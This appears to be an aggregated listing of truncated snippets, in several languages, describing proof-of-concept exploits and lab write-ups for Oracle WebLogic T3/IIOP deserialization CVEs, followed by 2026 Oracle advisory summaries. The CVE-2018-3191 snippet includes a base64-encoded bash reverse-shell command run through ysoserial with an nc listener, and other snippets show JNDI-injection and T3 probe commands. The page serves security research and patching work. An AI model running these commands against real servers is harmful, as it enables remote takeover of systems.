cve-2020-2555

CVE-2020-2555 Main.javaを実行すると、現在のディレクトリにpayload.serが生成されます。このpayloadはt3プロトコルを使用してターゲットサーバーに送信できます。...

CVE-2022-21350

なぜ2つのpocなのか 1つは com.51pwn.hktalent.CreatJar.mainargs; 最小ペイロード生成ツールを作成するために使用されます 作成後にもう1つを使用します CVE-2022-21350powerBy51pwn.jar を実行してペイロードを構築する際にエラーが発生しても、ペイロードの使用には影響しません other exp CVE20202551 CVE20202555 CVE20202883 CVE202014645 CVE202014756 CVE202014825 CVE202014841 CVE20212394 CVE202221306...

Oracle WebLogic Server - Remote Code Execution

Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 contains a remote code execution caused by unauthenticated access via T3, IIOP, letting attackers take over the server, exploit requires network access. id: CVE-2021-2135 info: name: Oracle WebLogic Server - Remote Code Execution author:...

Weblogic-CVE-2020-2551-To-Internet

Weblogic-CVE-2020-2551-To-Internet CVE-2020-2551 POCをインターネットで使用する POCのテスト（外部ネットワークで使用可能） python CVE-2020-2551.py HOST IP codebaseを変更してリモートローディングを試みる（失敗） python CVE-2020-TEST.py HOST IP Weblogic CVE-2020-2551 脆弱性と外部ネットワークPOCの構築についての考察 （初出は安全客、原文リンク） 0x00 基本概念 この脆弱性を学ぶには、CORBAやRMIなどの前提知識が必要です。...

CVE-2023-21839

CVE-2023-21839 分析 この脆弱性は、t3またはiiopプロトコルを介してオブジェクトをバインドした後に、lookupまたはlistメソッドを呼び出すと、バインドされたオブジェクトのgetReferentメソッドがトリガーされるために発生します。 呼び出しスタック t3プロトコル getObjectInstance:96, WLNamingManager weblogic.jndi.internal resolveObject:377, ServerNamingNode weblogic.jndi.internal resolveObject:856,...

CVE-2018-3191

Weblogic-CVE-2018-3191 원격 코드 명령 실행 취약점 weblogic For Docker 환경 0x00 소개 한국 시간 10월 17일, Oracle 공식 발표한 10월 중요 패치 업데이트 CPUCritical Patch Update에서 고위험 WebLogic 원격 코드 실행 취약점CVE-2018-3191이 수정되었습니다. 이 취약점은 인증되지 않은 공격자가 T3 프로토콜 네트워크 접근을 통해 취약한 WebLogic Server를 침해할 수 있으며, 성공적인 취약점 이용은 WebLogic Server가 공격자에게...

CVE_2020_2546

Twitter: @Hktalent3135773 1. Weblogic RCE 익스플로잇 CVE20202546 CVE-2020-2915 CVE-2020-2801 CVE-2020-2798 CVE-2020-2883 CVE-2020-2884 CVE-2020-2950 WebLogic RCE T3 payload exploit poc python3 2. 익스플로잇 GIOP + bind 전송 CVE-2020-2555, CVE-2019-2888, CVE-2019-2888 또는 기타 GIOP + jta 전송 rmi 또는 기타 GIOP + jta...

POC_CVE-2020-2555

POCCVE-2020-2555 CVE-2020-2555를 위한 PoC 3 부분: 클라이언트 & 서버: 객체를 생성하여 서버로 전송하고, gadgetchain을 트리거합니다. 소유자 객체를 구축하는 데 사용합니다. 공격: pwntools를 사용하여 T3 프로토콜을 통해 객체 전송...

woodpecker-plugins

woodpecker-plugins の使い方 プラグインを woodpecker-framwork/plugin ディレクトリ配下にコピーし、java -jar woodpecker-framework.1.3.3.jar を起動します 出典: https://github.com/woodpecker-appstore weblogic-info T3 が開いているか確認: echo 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'|nc 10.20.31.189 7001 IIOP...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 리버스 셸 로컬 IP：172.16.38.1 Weblogic：172.16.38.174:7001 1、 로컬 실행 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 그런 다음 nc -lvv 7777 실행 （1） 여기서 ba...

CVE-2017-10271

LAB 2 - CVE-2017-10271: WebLogic XMLDecoder 逆シリアル化（Deserialization）Writeup I. システム分析 システムログ分析 検出されたサービス: Oracle WebLogic Server（Development Mode で稼働中の basedomain に属する AdminServer）。 接続ポート: 7001。 サポート対象プロトコル: http、t3、iiop、ldap、snmp。 攻撃対象領域の評価: 当該サービスは 7001 ポートで t3 プロトコルを公開しています。このデフォルト構成は、WebLogic...

CVE-2020-14645

CVE-2020-14645 使用方法 首先使用NDI-Injection-Exploit监听，并生成一个ldap地址。 java -jar WeblogicT3.jar -Target 127.0.0.1 -Port 7001 -RMI ldap://127.0.0.1:1389/dozvtq --SSL -Tatget 和-RMI必填，https可使用--SSL参数，-Port默认7001。 自行编译需要添加coherence.jar和wlfullclient.jar 漏洞参考：...

CVE-2019-2890

CVE-2019-2890 코드 복제: https://github.com/v-gift/CVE-2019-2890 CVE-2019-2890: T3를 사용한 WebLogic 익스플로잇...

CVE-2026-83030

Vulnerability in the Oracle Managed File Transfer product of Oracle Fusion Middleware component: MFT Runtime Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise...

CVE-2026-82997

Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware component: Messaging Enabler. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Servi...

EUVD-2026-79612

Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain component: Event Java PX. The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows high privileged attacker with network access via T3, IIOP to compromise Oracle Agile PLM. While the vulnerability...

PT-2026-92554

Vulnerability in the Oracle Managed File Transfer product of Oracle Fusion Middleware component: MFT Runtime Server. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise...

PT-2026-92481

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core. Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to...

PT-2026-92521

Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware component: Messaging Enabler. Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via T3, IIOP to compromise Servi...

Oracle WebLogic Server (August 2026 CPU)

The 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0, and 15.1.1.0.0 versions of WebLogic Server installed on the remote host are affected by multiple vulnerabilities as referenced in the August 2026 CPU advisory. - Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware component: Core...